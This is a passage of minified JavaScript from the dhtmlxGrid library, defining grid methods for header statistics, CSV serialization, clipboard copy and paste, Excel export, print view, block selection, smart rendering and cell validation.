this._maskArr[a]?this._aplNF(m,a):m};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_min=function(e,a,h){var g=function(){this._build_m_order();var l=this._m_order?this._m_order[a]:a;var m=999999999;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var c=0;c<this.rowsBuffer.length;c++){m=Math.min(m,parseFloat(this._get_cell_value(this.rowsBuffer[c],l)))}return this._maskArr[a]?this._aplNF(m,a):m};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_average=function(e,a,h){var g=function(){this._build_m_order();var m=this._m_order?this._m_order[a]:a;var o=0;var n=0;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var l=0;l<this.rowsBuffer.length;l++){var c=parseFloat(this._get_cell_value(this.rowsBuffer[l],m));if(!isNaN(c)){o+=c;n++}}return this._maskArr[a]?this._aplNF(o/n,a):(Math.round(o/n*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_count=function(e,a,h){var g=function(){return this.getRowsNum()};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._stat_in_header=function(e,g,a,m){var h=this;var l=function(){this.dma(true);e.innerHTML=(m[0]?m[0]:\"\")+g.call(this)+(m[1]?m[1]:\"\");this.dma(false);this.callEvent(\"onStatReady\",[])};if(!this._stat_events){this._stat_events=[];this.attachEvent(\"onClearAll\",function(){if(!this.hdr.rows[1]){for(var n=0;n<this._stat_events.length;n++){for(var c=0;c<4;c++){this.detachEvent(this._stat_events[n][c])}}this._stat_events=[]}})}this._stat_events.push([this.attachEvent(\"onGridReconstructed\",l),this.attachEvent(\"onXLE\",l),this.attachEvent(\"onFilterEnd\",l),this.attachEvent(\"onEditCell\",function(c,o,n){if(c==2&&(n==a||(a&&a[n]))){l.call(this)}return true})]);e.innerHTML=\"\"};dhtmlXGridObject.prototype.loadCSVFile=function(c,a){this.load(c,a,\"csv\")};dhtmlXGridObject.prototype.enableCSVAutoID=function(a){this._csvAID=dhx4.s2b(a)};dhtmlXGridObject.prototype.enableCSVHeader=function(a){this._csvHdr=dhx4.s2b(a)};dhtmlXGridObject.prototype.setCSVDelimiter=function(a){this.csv.cell=a};dhtmlXGridObject.prototype._csvAID=true;dhtmlXGridObject.prototype.loadCSVString=function(a){this.parse(a,\"csv\")};dhtmlXGridObject.prototype.serializeToCSV=function(n){this.editStop();if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText||n){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}var l=[];if(this._csvHdr){for(var h=1;h<this.hdr.rows.length;h++){var c=[];for(var m=0;m<this._cCount;m++){if((!this._srClmn)||(this._srClmn[m])){c.push(this.getColumnLabel(m,h-1))}}l.push(this.csvParser.str(c,this.csv.cell,this.csv.row))}}var m=0;var g=this.rowsBuffer.length;for(m;m<g;m++){var e=this._serializeRowToCVS(null,m);if(e!=\"\"){l.push(e)}}return this.csvParser.block(l,this.csv.row)};dhtmlXGridObject.prototype._serializeRowToCVS=function(a,o,e,m){var n=new Array();if(!a){a=this.render_row(o);if(this._fake&&!this._fake.rowsAr[a.idd]){this._fake.render_row(o)}}if(!this._csvAID){n[n.length]=a.idd}e=e||0;m=m||this._cCount;var s=false;var g=e;while(a.childNodes[e]._cellIndex>g&&e){e--}for(var q=e;g<m;q++){if(!a.childNodes[q]){break}var c=a.childNodes[q]._cellIndex;if(((!this._srClmn)||(this._srClmn[c]))&&(!this._serialize_visible||!this._hrrar[c])){var h=a.childNodes[q];var l=this.cells(a.idd,c);while(g!=c){g++;n.push(\"\");if(g>=m){break}}if(g>=m){break}g++;if(l.cell){zxVal=l[this._agetm]()}else{zxVal=\"\"}if((this._chAttr)&&(l.wasChanged())){s=true}n[n.length]=((zxVal===null)?\"\":zxVal);if(this._ecspn&&h.colSpan&&h.colSpan>1){h=h.colSpan-1;for(var v=0;v<h;v++){n[n.length]=\"\";g++}}}else{g++}}if((this._onlChAttr)&&(!s)){return\"\"}return this.csvParser.str(n,this.csv.cell,this.csv.row)};dhtmlXGridObject.prototype.toClipBoard=function(a){if(window.clipboardData){window.clipboardData.setData(\"Text\",a)}else{(new Clipboard()).copy(a)}};dhtmlXGridObject.prototype.fromClipBoard=function(){if(window.clipboardData){return window.clipboardData.getData(\"Text\")}else{return(new Clipboard()).paste()}};dhtmlXGridObject.prototype.cellToClipboard=function(e,c){if((!e)||(!c&&c!==0)){if(!this.selectedRows[0]){return}e=this.selectedRows[0].idd;c=this.cell._cellIndex}var a=this.cells(e,c);this.toClipBoard(((a.getLabel?a.getLabel():a.getValue())||\"\").toString())};dhtmlXGridObject.prototype.updateCellFromClipboard=function(e,c){if((!e)||(!c)){if(!this.selectedRows[0]){return}e=this.selectedRows[0].idd;c=this.cell._cellIndex}var a=this.cells(e,c);a[a.setImage?\"setLabel\":\"setValue\"](this.fromClipBoard())};dhtmlXGridObject.prototype.rowToClipboard=function(g){var a=\"\";if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}this._serialize_visible=!this._fake;if(g){a=this._serializeRowToCVS(this.getRowById(g))}else{var e=[];for(var c=0;c<this.selectedRows.length;c++){e[e.length]=this._serializeRowToCVS(this.selectedRows[c]);a=this.csvParser.block(e,this.csv.row)}}this._serialize_visible=false;this.toClipBoard(a)};dhtmlXGridObject.prototype.updateRowFromClipboard=function(h){var a=this.fromClipBoard();if(!a){return}if(h){var g=this.getRowById(h)}else{var g=this.selectedRows[0]}if(!g){return}var l=this.csvParser;a=l.unblock(a,this.csv.cell,this.csv.row)[0];if(!this._csvAID){a.splice(0,1)}for(var e=0;e<a.length;e++){var c=this.cells3(g,e);c[c.setImage?\"setLabel\":\"setValue\"](a[e])}};dhtmlXGridObject.prototype.csvParser={block:function(a,c){return a.join(c)},unblock:function(l,a,h){var g=(l||\"\").split(h);for(var c=0;c<g.length;c++){g[c]=(g[c]||\"\").split(a)}var e=g.length-1;if(g[e].length==1&&g[e][0]==\"\"){g.splice(e,1)}return g},str:function(c,a,e){return c.join(a)}};dhtmlXGridObject.prototype.csvExtParser={_quote:RegExp('\"',\"g\"),_quote_esc:RegExp('\\\\\\\\\"',\"g\"),block:function(a,c){return a.join(c)},unblock:function(n,r,u){var e=[[]];var c=0;if(!n){return e}var o=/^[ ]*\"/;var m=/\"[ ]*$/;var a=new RegExp(\".*\"+u+\".*$\");var h=n.split(r);for(var g=0;g<h.length;g++){if(h[g].match(o)){var s=h[g].replace(o,\"\");while(!h[g].match(m)){g++;s+=h[g]}e[c].push(s.replace(m,\"\").replace(this._quote_esc,'\"'))}else{if(h[g].match(a)){var l=h[g].indexOf(u);e[c].push(h[g].substr(0,l));c++;e[c]=[];h[g]=h[g].substr(l+1);g--}else{if(h[g]||g!=h.length-1){e[c].push(h[g])}}}}var q=e.length-1;if(q>0&&!e[q].length){e.splice(q,1)}return e},str:function(e,a,g){for(var c=0;c<e.length;c++){e[c]='\"'+e[c].replace(this._quote,'\\\\\"')+'\"'}return e.join(a)}};dhtmlXGridObject.prototype.addRowFromClipboard=function(){var a=this.fromClipBoard();if(!a){return}var e=this.csvParser.unblock(a,this.csv.cell,this.csv.row);for(var c=0;c<e.length;c++){if(e[c]){a=e[c];if(!a.length){continue}if(this._csvAID){this.addRow(this.getRowsNum()+2,a)}else{if(this.rowsAr[a[0]]){a[0]=this.uid()}this.addRow(a[0],a.slice(1))}}}};dhtmlXGridObject.prototype.gridToClipboard=function(){this.toClipBoard(this.serializeToCSV())};dhtmlXGridObject.prototype.gridFromClipboard=function(){var a=this.fromClipBoard();if(!a){return}this.loadCSVString(a)};dhtmlXGridObject.prototype.getXLS=function(m){if(!this.xslform){this.xslform=document.createElement(\"FORM\");this.xslform.action=(m||\"\")+\"xls.php\";this.xslform.method=\"post\";this.xslform.target=(_isIE?\"_blank\":\"\");document.body.appendChild(this.xslform);var h=document.createElement(\"INPUT\");h.type=\"hidden\";h.name=\"csv\";this.xslform.appendChild(h);var g=document.createElement(\"INPUT\");g.type=\"hidden\";g.name=\"csv_header\";this.xslform.appendChild(g)}var n=this.serializeToCSV();this.xslform.childNodes[0].value=n;var e=[];var a=this._cCount;for(var c=0;c<a;c++){e.push(this.getHeaderCol(c))}e=e.join(\",\");this.xslform.childNodes[1].value=e;this.xslform.submit()};dhtmlXGridObject.prototype.printView=function(r,e){var o=\"<style>TD { font-family:Arial; text-align:center; padding-left:2px;padding-right:2px; } \\n td.filter input, td.filter select { display:none; }   \\n  </style>\";var A=null;if(this._fake){A=[].concat(this._hrrar);for(var y=0;y<this._fake._cCount;y++){this._hrrar[y]=null}}o+=\"<base  href='\"+(document.location.protocol+\"//\"+document.location.hostname+document.location.pathname)+\"'></base>\";if(!this.parentGrid){o+=(r||\"\")}o+='<table width=\"100%\" border=\"2px\" cellpadding=\"0\" cellspacing=\"0\">';var q=Math.max(this.rowsBuffer.length,this.rowsCol.length);var n=this._cCount;var s=this._printWidth();o+='<tr class=\"header_row_1\">';for(var y=0;y<n;y++){if(this._hrrar&&this._hrrar[y]){continue}var h=this.hdr.rows[1].cells[this.hdr.rows[1]._childIndexes?this.hdr.rows[1]._childIndexes[parseInt(y)]:y];var a=(h.colSpan||1);var F=(h.rowSpan||1);for(var x=1;x<a;x++){s[y]+=s[x]}o+='<td rowspan=\"'+F+'\" width=\"'+s[y]+'%\" style=\"background-color:lightgrey;\" colspan=\"'+a+'\">'+this.getHeaderCol(y)+\"</td>\";y+=a-1}o+=\"</tr>\";for(var y=2;y<this.hdr.rows.length;y++){if(_isIE){o+=\"<tr style='background-color:lightgrey' class='header_row_\"+y+\"'>\";var g=this.hdr.rows[y].childNodes;for(var x=0;x<g.length;x++){if(!this._hrrar||!this._hrrar[g[x]._cellIndex]){o+=g[x].outerHTML}}o+=\"</tr>\"}else{o+=\"<tr class='header_row_\"+y+\"' style='background-color:lightgrey'>\"+(this._fake?this._fake.hdr.rows[y].innerHTML:\"\")+this.hdr.rows[y].innerHTML+\"</tr>\"}}for(var y=0;y<q;y++){o+=\"<tr>\";if(this.rowsCol[y]&&this.rowsCol[y]._cntr){o+=this.rowsCol[y].innerHTML.replace(/<img[^>]*>/gi,\"\")+\"</tr>\";continue}if(this.rowsCol[y]&&this.rowsCol[y].style.display==\"none\"){continue}var m;if(this.rowsCol[y]){m=this.rowsCol[y].idd}else{if(this.rowsBuffer[y]){m=this.rowsBuffer[y].idd}else{continue}}for(var x=0;x<n;x++){if(this._hrrar&&this._hrrar[x]){continue}if(this.rowsAr[m]&&this.rowsAr[m].tagName==\"TR\"){var E=this.cells(m,x);if(E._setState){var u=\"\"}else{if(E.getContent){u=E.getContent()}else{if(E.getImage||E.combo){var u=E.cell.innerHTML}else{var u=E.getValue()}}}}else{var u=this._get_cell_value(this.rowsBuffer[y],x)}var v=this.columnColor[x]?\"background-color:\"+this.columnColor[x]+\";\":\"\";var w=this.cellAlign[x]?\"text-align:\"+this.cellAlign[x]+\";\":\"\";var C=E.getAttribute(\"colspan\");o+='<td style=\"'+v+w+'\" '+(C?'colSpan=\"'+C+'\"':\"\")+\">\"+(u===\"\"?\"&nbsp;\":u)+\"</td>\";if(C){x+=C-1}}o+=\"</tr>\";if(this.rowsCol[y]&&this.rowsCol[y]._expanded){var l=this.cells4(this.rowsCol[y]._expanded.ctrl);if(l.getSubGrid){o+='<tr><td colspan=\"'+n+'\">'+l.getSubGrid().printView()+\"</td></tr>\"}else{o+='<tr><td colspan=\"'+n+'\">'+this.rowsCol[y]._expanded.innerHTML+\"</td></tr>\"}}}if(this.ftr){for(var y=1;y<this.ftr.childNodes[0].rows.length;y++){o+=\"<tr style='background-color:lightgrey'>\"+((this._fake)?this._fake.ftr.childNodes[0].rows[y].innerHTML:\"\")+this.ftr.childNodes[0].rows[y].innerHTML+\"</tr>\"}}o+=\"</table>\";if(this.parentGrid){return o}o+=(e||\"\");var D=window.open(\"\",\"_blank\");D.document.write(o);D.document.write(\"<script>window.onerror=function(){return true;}<\\/script>\");D.document.close();if(this._fake){this._hrrar=A}};dhtmlXGridObject.prototype._printWidth=function(){var h=[];var g=0;for(var e=0;e<this._cCount;e++){var a=this.getColWidth(e);h.push(a);g+=a}var m=[];var c=0;for(var e=0;e<h.length;e++){var l=Math.floor((h[e]/g)*100);c+=l;m.push(l)}m[m.length-1]+=100-c;return m};dhtmlXGridObject.prototype.enableBlockSelection=function(e){if(typeof this._bs_mode==\"undefined\"){var a=this;this.obj.onmousedown=function(g){if(a._bs_mode){a._OnSelectionStart((g||event),this)}return true};this._CSVRowDelimiter=this.csv.row;this.attachEvent(\"onResize\",function(){a._HideSelection();return true});this.attachEvent(\"onGridReconstructed\",function(){a._HideSelection();return true});this.attachEvent(\"onFilterEnd\",this._HideSelection)}if(e===false){this._bs_mode=false;return this._HideSelection()}else{this._bs_mode=true}if(!window.dhx4.isIPad){var c=this._clip_area=document.createElement(\"textarea\");c.style.cssText=\"position:absolute; width:1px; height:1px; overflow:hidden; color:transparent; background-color:transparent; bottom:1px; right:1px; border:none;\";c.onkeydown=function(g){g=g||event;if(g.keyCode==86&&(g.ctrlKey||g.metaKey)){a.pasteBlockFromClipboard()}};document.body.insertBefore(this._clip_area,document.body.firstChild);dhtmlxEvent(this.entBox,\"click\",function(){if(!a.editor&&a._clip_area){a._clip_area.select()}})}};dhtmlXGridObject.prototype.forceLabelSelection=function(a){this._strictText=dhx4.s2b(a)};dhtmlXGridObject.prototype._OnSelectionStart=function(e,g){var c=this;if(e.button==2){return}var h=e.srcElement||e.target;if(this.editor){if(h.tagName&&(h.tagName==\"INPUT\"||h.tagName==\"TEXTAREA\")){return}this.editStop()}c.setActive(true);var m=this.getPosition(this.obj);var a=e.clientX-m[0]+(document.body.scrollLeft||(document.documentElement?document.documentElement.scrollLeft:0));var l=e.clientY-m[1]+(document.body.scrollTop||(document.documentElement?document.documentElement.scrollTop:0));this._CreateSelection(a-4,l-4);if(h==this._selectionObj){this._HideSelection();this._startSelectionCell=null}else{while(h&&(!h.tagName||h.tagName.toLowerCase()!=\"td\")){h=h.parentNode}this._startSelectionCell=h}if(this._startSelectionCell){if(!this.callEvent(\"onBeforeBlockSelected\",[this._startSelectionCell.parentNode.idd,this._startSelectionCell._cellIndex])){return this._startSelectionCell=null}}this.obj.onmousedown=null;this.obj[_isIE?\"onmouseleave\":\"onmouseout\"]=function(n){if(c._blsTimer){window.clearTimeout(c._blsTimer)}};this.obj.onmmold=this.obj.onmousemove;this._init_pos=[a,l];this._selectionObj.onmousemove=this.obj.onmousemove=function(n){n=n||e;if(n.preventDefault){n.preventDefault()}else{n.returnValue=false}c._OnSelectionMove(n)};this._oldDMP=document.body.onmouseup;document.body.onmouseup=function(n){n=n||e;c._OnSelectionStop(n,this);return true};this.callEvent(\"onBeforeBlockSelection\",[]);document.body.onselectstart=function(){return false}};dhtmlXGridObject.prototype._getCellByPos=function(a,g){a=a;if(this._fake){a+=this._fake.objBox.scrollWidth}g=g;var c=0;for(var e=0;e<this.obj.rows.length;e++){g-=this.obj.rows[e].offsetHeight;if(g<=0){c=this.obj.rows[e];break}}if(!c||!c.idd){return null}for(var e=0;e<this._cCount;e++){a-=this.getColWidth(e);if(a<=0){while(true){if(c._childIndexes&&c._childIndexes[e+1]==c._childIndexes[e]){c=c.previousSibling}else{return this.cells(c.idd,e).cell}}}}return null};dhtmlXGridObject.prototype._OnSelectionMove=function(g){var w=this;this._ShowSelection();var r=this.getPosition(this.obj);var m=g.clientX-r[0]+(document.body.scrollLeft||(document.documentElement?document.documentElement.scrollLeft:0));var l=g.clientY-r[1]+(document.body.scrollTop||(document.documentElement?document.documentElement.scrollTop:0));if((Math.abs(this._init_pos[0]-m)<5)&&(Math.abs(this._init_pos[1]-l)<5)){return this._HideSelection()}var u=this._endSelectionCell;if(this._startSelectionCell==null){this._endSelectionCell=this._startSelectionCell=this.getFirstParentOfType(g.srcElement||g.target,\"TD\")}else{if(g.srcElement||g.target){if((g.srcElement||g.target).className==\"dhtmlxGrid_selection\"){this._endSelectionCell=(this._getCellByPos(m,l)||this._endSelectionCell)}else{var v=this.getFirstParentOfType(g.srcElement||g.target,\"TD\");if(v.parentNode.idd){this._endSelectionCell=v}}}}if(this._endSelectionCell){if(!this.callEvent(\"onBeforeBlockSelected\",[this._endSelectionCell.parentNode.idd,this._endSelectionCell._cellIndex])){this._endSelectionCell=u}}var h=this.objBox.scrollLeft+this.objBox.clientWidth;var c=this.objBox.scrollTop+this.objBox.clientHeight;var o=this.objBox.scrollLeft;var n=this.objBox.scrollTop;var e=false;if(this._blsTimer){window.clearTimeout(this._blsTimer)}if(m+20>=h){this.objBox.scrollLeft=this.objBox.scrollLeft+20;e=true}else{if(m-20<o){this.objBox.scrollLeft=this.objBox.scrollLeft-20;e=true}}if(l+20>=c&&!this._realfake){this.objBox.scrollTop=this.objBox.scrollTop+20;e=true}else{if(l-20<n&&!this._realfake){this.objBox.scrollTop=this.objBox.scrollTop-20;e=true}}this._selectionArea=this._RedrawSelectionPos(this._startSelectionCell,this._endSelectionCell);if(e){var s=g.clientX;var q=g.clientY;this._blsTimer=window.setTimeout(function(){w._OnSelectionMove({clientX:s,clientY:q})},100)}};dhtmlXGridObject.prototype._OnSelectionStop=function(c){var a=this;if(this._blsTimer){window.clearTimeout(this._blsTimer)}this.obj.onmousedown=function(g){if(a._bs_mode){a._OnSelectionStart((g||c),this)}return true};this.obj.onmousemove=this.obj.onmmold||null;this._selectionObj.onmousemove=null;document.body.onmouseup=this._oldDMP||null;if(parseInt(this._selectionObj.style.width)<2&&parseInt(this._selectionObj.style.height)<2){this._HideSelection()}else{var e=this.getFirstParentOfType(c.srcElement||c.target,\"TD\");if((!e)||(!e.parentNode.idd)){e=this._endSelectionCell}while(e&&(!e.tagName||e.tagName.toLowerCase()!=\"td\")){e=e.parentNode}if(!e){return this._HideSelection()}this._stopSelectionCell=e;this._selectionArea=this._RedrawSelectionPos(this._startSelectionCell,this._stopSelectionCell);this.callEvent(\"onBlockSelected\",[])}document.body.onselectstart=function(){}};dhtmlXGridObject.prototype._RedrawSelectionPos=function(s,m){if(s.parentNode.grid!=m.parentNode.grid){return this._selectionArea}var q={};q.LeftTopCol=s._cellIndex;q.LeftTopRow=this.getRowIndex(s.parentNode.idd);q.RightBottomCol=m._cellIndex;q.RightBottomRow=this.getRowIndex(m.parentNode.idd);var g=s.offsetWidth;var e=s.offsetHeight;s=this.getPosition(s,this.obj);var u=m.offsetWidth;var n=m.offsetHeight;m=this.getPosition(m,this.obj);if(s[0]<m[0]){var h=s[0];var l=m[0]+u}else{var o=q.RightBottomCol;q.RightBottomCol=q.LeftTopCol;q.LeftTopCol=o;var h=m[0];var l=s[0]+g}if(s[1]<m[1]){var r=s[1];var a=m[1]+n}else{var o=q.RightBottomRow;q.RightBottomRow=q.LeftTopRow;q.LeftTopRow=o;var r=m[1];var a=s[1]+e}var v=l-h;var c=a-r;this._selectionObj.style.left=h+\"px\";this._selectionObj.style.top=r+\"px\";this._selectionObj.style.width=v+\"px\";this._selectionObj.style.height=c+\"px\";return q};dhtmlXGridObject.prototype._CreateSelection=function(a,e){if(this._selectionObj==null){var c=document.createElement(\"div\");c.style.position=\"absolute\";c.style.display=\"none\";c.className=\"dhtmlxGrid_selection\";this._selectionObj=c;this._selectionObj.onmousedown=function(g){g=g||event;if(g.button==2||(_isMacOS&&g.ctrlKey)){return this.parentNode.grid.callEvent(\"onBlockRightClick\",[\"BLOCK\",g])}};this._selectionObj.oncontextmenu=function(g){(g||event).cancelBubble=true;return false};this.objBox.appendChild(this._selectionObj)}this._selectionObj.style.width=\"0px\";this._selectionObj.style.height=\"0px\";this._selectionObj.style.left=a+\"px\";this._selectionObj.style.top=e+\"px\";this._selectionObj.startX=a;this._selectionObj.startY=e};dhtmlXGridObject.prototype._ShowSelection=function(){if(this._selectionObj){this._selectionObj.style.display=\"\"}};dhtmlXGridObject.prototype._HideSelection=function(){if(this._selectionObj){this._selectionObj.style.display=\"none\"}this._selectionArea=null;if(this._clip_area){this._clip_area.value=\"\";this._clip_area.blur()}};dhtmlXGridObject.prototype.copyBlockToClipboard=function(){if(!this._clip_area){return}if(this._selectionArea!=null){var e=new Array();if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}this._serialize_visible=true;for(var a=this._selectionArea.LeftTopRow;a<=this._selectionArea.RightBottomRow;a++){var c=this._serializeRowToCVS(this.rowsBuffer[a],null,this._selectionArea.LeftTopCol,this._selectionArea.RightBottomCol+1);if(!this._csvAID){e[e.length]=c.substr(c.indexOf(this.csv.cell)+1)}else{e[e.length]=c}}e=e.join(this._CSVRowDelimiter);this._clip_area.value=e;this._clip_area.select();this._serialize_visible=false}};dhtmlXGridObject.prototype.pasteBlockFromClipboard=function(){if(!this._clip_area){return}this._clip_area.select();var a=this;window.setTimeout(function(){a._pasteBlockFromClipboard();a=null},1)};dhtmlXGridObject.prototype._pasteBlockFromClipboard=function(){var m=this._clip_area.value;if(!m){return}if(this._selectionArea!=null){var v=this._selectionArea.LeftTopRow;var a=this._selectionArea.LeftTopCol}else{if(this.cell!=null&&!this.editor){var v=this.getRowIndex(this.cell.parentNode.idd);var a=this.cell._cellIndex}else{return false}}m=this.csvParser.unblock(m,this.csv.cell,this.csv.row);var o=v+m.length;var s=a+m[0].length;if(s>this._cCount){s=this._cCount}var g=0;for(var q=v;q<o;q++){var w=this.render_row(q);if(w==-1){continue}var e=0;for(var h=a;h<s;h++){if(this._hrrar[h]&&!this._fake){s=Math.min(s+1,this._cCount);continue}var r=this.cells3(w,h);if(r.isDisabled()){e++;continue}if(this._onEditUndoRedo){this._onEditUndoRedo(2,w.idd,h,m[g][e],r.getValue())}if(r.combo){var u=r.combo.values;for(var c=0;c<u.length;c++){if(m[g][e]==u[c]){r.setValue(r.combo.keys[c]);u=null;break}}if(u!=null&&r.editable){r.setValue(m[g][e++])}else{e++}}else{r[r.setImage?\"setLabel\":\"setValue\"](m[g][e++])}r.cell.wasChanged=true}this.callEvent(\"onRowPaste\",[w.idd]);g++}};dhtmlXGridObject.prototype.getSelectedBlock=function(){if(this._selectionArea){return this._selectionArea}else{if(this.getSelectedRowId()!==null){return{LeftTopRow:this.getSelectedRowId(),LeftTopCol:this.getSelectedCellIndex(),RightBottomRow:this.getSelectedRowId(),RightBottomCol:this.getSelectedCellIndex()}}else{return null}}};dhtmlXGridObject.prototype.enableSmartRendering=function(e,c,a){if(arguments.length>2){if(c&&!this.rowsBuffer[c-1]){this.rowsBuffer[c-1]=0}c=a}this._srnd=dhx4.s2b(e);this._srdh=this._srdh||20;this._dpref=c||0};dhtmlXGridObject.prototype.enablePreRendering=function(a){this._srnd_pr=parseInt(a||50)};dhtmlXGridObject.prototype.forceFullLoading=function(a,h){for(var e=0;e<this.rowsBuffer.length;e++){if(!this.rowsBuffer[e]){var g=a||(this.rowsBuffer.length-e);if(this.callEvent(\"onDynXLS\",[e,g])){var c=this;this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+e+\"&count=\"+g,function(){window.setTimeout(function(){c.forceFullLoading(a,h)},100)},this._data_type)}return}}if(h){h.call(this)}};dhtmlXGridObject.prototype.setAwaitedRowHeight=function(a){this._srdh=parseInt(a)};dhtmlXGridObject.prototype._get_view_size=function(){return Math.floor(parseInt(this.entBox.offsetHeight)/this._srdh)+2};dhtmlXGridObject.prototype._add_filler=function(m,a,c,g){if(!a){return null}var l=\"__filler__\";var h=this._prepareRow(l);h.firstChild.style.width=\"1px\";h.firstChild.style.padding=h.firstChild.style.margin=\"0px\";for(var e=1;e<h.childNodes.length;e++){h.childNodes[e].style.display=\"none\"}h.firstChild.style.height=a*this._srdh+\"px\";c=c||this.rowsCol[m];if(c&&c.nextSibling){c.parentNode.insertBefore(h,c.nextSibling)}else{if(_isKHTML){this.obj.appendChild(h)}else{this.obj.rows[0].parentNode.appendChild(h)}}this.callEvent(\"onAddFiller\",[m,a,h,c,g]);return[m,a,h]};dhtmlXGridObject.prototype._update_srnd_view=function(){var l=Math.floor(this.objBox.scrollTop/this._srdh);var c=l+this._get_view_size();if(this.multiLine){var m=this.objBox.scrollTop;l=0;while(m>0){m-=this.rowsCol[l]?this.rowsCol[l].offsetHeight:this._srdh;l++}c=l+this._get_view_size();if(l>0){l--}}c+=(this._srnd_pr||0);if(c>this.rowsBuffer.length){c=this.rowsBuffer.length}for(var g=l;g<c;g++){if(!this.rowsCol[g]){var h=this._add_from_buffer(g);if(h==-1){if(this.xmlFileUrl){if(this._dpref&&this.rowsBuffer[c-1]){var e=this._dpref?this._dpref:(c-g);var a=Math.max(0,Math.min(g,c-this._dpref));this._current_load=[a,c-a]}else{this._current_load=[g,(this._dpref?this._dpref:(c-g))]}if(this.callEvent(\"onDynXLS\",this._current_load)){this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+this._current_load[0]+\"&count=\"+this._current_load[1],this._data_type)}}return}else{if(this._tgle){this._updateLine(this._h2.get[this.rowsBuffer[g].idd],this.rowsBuffer[g]);this._updateParentLine(this._h2.get[this.rowsBuffer[g].idd],this.rowsBuffer[g])}if(g&&g==(this._realfake?this._fake:this)[\"_r_select\"]){this.selectCell(g,this.cell?this.cell._cellIndex:0,true)}}}}if(this._fake&&!this._realfake&&this.multiLine){this._fake.objBox.scrollTop=this.objBox.scrollTop}};dhtmlXGridObject.prototype._add_from_buffer=function(g){var h=this.render_row(g);if(h==-1){return -1}if(h._attrs.selected||h._attrs.select){this.selectRow(h,false,true);h._attrs.selected=h._attrs.select=null}if(!this._cssSP){if(this._cssEven&&g%2==0){h.className=this._cssEven+((h.className.indexOf(\"rowselected\")!=-1)?\" rowselected \":\" \")+(h._css||\"\")}else{if(this._cssUnEven&&g%2==1){h.className=this._cssUnEven+((h.className.indexOf(\"rowselected\")!=-1)?\" rowselected \":\" \")+(h._css||\"\")}}}else{if(this._h2){var a=this._h2.get[h.idd];h.className+=\" \"+((a.level%2)?(this._cssUnEven+\" \"+this._cssUnEven):(this._cssEven+\" \"+this._cssEven))+\"_\"+a.level+(this.rowsAr[a.id]._css||\"\")}}for(var c=0;c<this._fillers.length;c++){var e=this._fillers[c];if(e&&e[0]<=g&&(e[0]+e[1])>g){var l=g-e[0];if(l==0){this._insert_before(g,h,e[2]);this._update_fillers(c,-1,1)}else{if(l==e[1]-1){this._insert_after(g,h,e[2]);this._update_fillers(c,-1,0)}else{this._fillers.push(this._add_filler(g+1,e[1]-l-1,e[2],1));this._insert_after(g,h,e[2]);this._update_fillers(c,-e[1]+l,0)}}return}}};dhtmlXGridObject.prototype._update_fillers=function(e,a,g){var c=this._fillers[e];c[1]=c[1]+a;c[0]=c[0]+g;if(!c[1]){this.callEvent(\"onRemoveFiller\",[c[2]]);c[2].parentNode.removeChild(c[2]);this._fillers.splice(e,1)}else{c[2].firstChild.style.height=parseFloat(c[2].firstChild.style.height)+a*this._srdh+\"px\";this.callEvent(\"onUpdateFiller\",[c[2]])}};dhtmlXGridObject.prototype._insert_before=function(c,e,a){a.parentNode.insertBefore(e,a);this.rowsCol[c]=e;this.callEvent(\"onRowInserted\",[e,null,a,\"before\"])};dhtmlXGridObject.prototype._insert_after=function(c,e,a){if(a.nextSibling){a.parentNode.insertBefore(e,a.nextSibling)}else{a.parentNode.appendChild(e)}this.rowsCol[c]=e;this.callEvent(\"onRowInserted\",[e,null,a,\"after\"])};if(typeof(window.dhtmlxValidation)!=\"undefined\"){dhtmlxValidation.trackInput=function(e,g,c,a){dhtmlxEvent(e,\"keyup\",function(h){if(dhtmlxValidation._timer){window.clearTimeout(dhtmlxValidation._timer);dhtmlxValidation._timer=null}dhtmlxValidation._timer=window.setTimeout(function(){if(!dhtmlxValidation.checkInput(e,g)){if(!c||c(e,e.value,g)){e.className+=\" dhtmlx_live_validation_error\"}}else{e.className=e.className.replace(/[ ]*dhtmlx_live_validation_error/g,\"\");if(a){a(e,e.value,g)}}},250)})};dhtmlxValidation.checkInput=function(a,c){return dhtmlxValidation.checkValue(a.value,c)};dhtmlxValidation.checkValue=function(e,g){if(typeof g==\"string\"){g=g.split(\",\")}var a=true;for(var c=0;c<g.length;c++){if(!this[\"is\"+g[c]]){alert(\"Incorrect validation rule: \"+g[c])}else{a=a&&this[\"is\"+g[c]](e)}}return a}}dhtmlXGridObject.prototype.enableValidation=function(c,a){c=dhx4.s2b(c);if(c){this._validators={data:[]}}else{this._validators=false}if(arguments.length>1){this._validators._live=a}if(!this._validators._event){this._validators._event=this.attachEvent(\"onEditCell\",this.validationEvent)}};dhtmlXGridObject.prototype.setColValidators=function(a){if(!this._validators){this.enableValidation(true)}if(typeof a==\"string\"){a=a.split(this.delim)}this._validators.data=a};dhtmlXGridObject.prototype.validationEvent=function(l,c,g,e,n){var o=this._validators;if(!o){return true}var m=(o.data[g]||this.cells(c,g).getAttribute(\"validate\"))||\"\";if(l==1&&m){var h=this.editor||(this._fake||{}).editor;if(!h){return true}h.cell.className=h.cell.className.replace(/[ ]*dhtmlx_validation_error/g,\"\");if(o._live){var a=this;dhtmlxValidation.trackInput(h.getInput(),m,function(q,r,s){return a.callEvent(\"onLiveValidationError\",[c,g,r,q,s])},function(q,r,s){return a.callEvent(\"onLiveValidationCorrect\",[c,g,r,q,s])})}}if(l==2){this.validateCell(c,g,m,e)}return true};dhtmlXGridObject.prototype.validateCell=function(m,h,l,g){l=l||(this._validators.data[h]||this.cells(m,h).getAttribute(\"validate\"));g=g||this.cells(m,h).getValue();if(!l){return}var c=this.cells(m,h).cell;var a=true;if(typeof 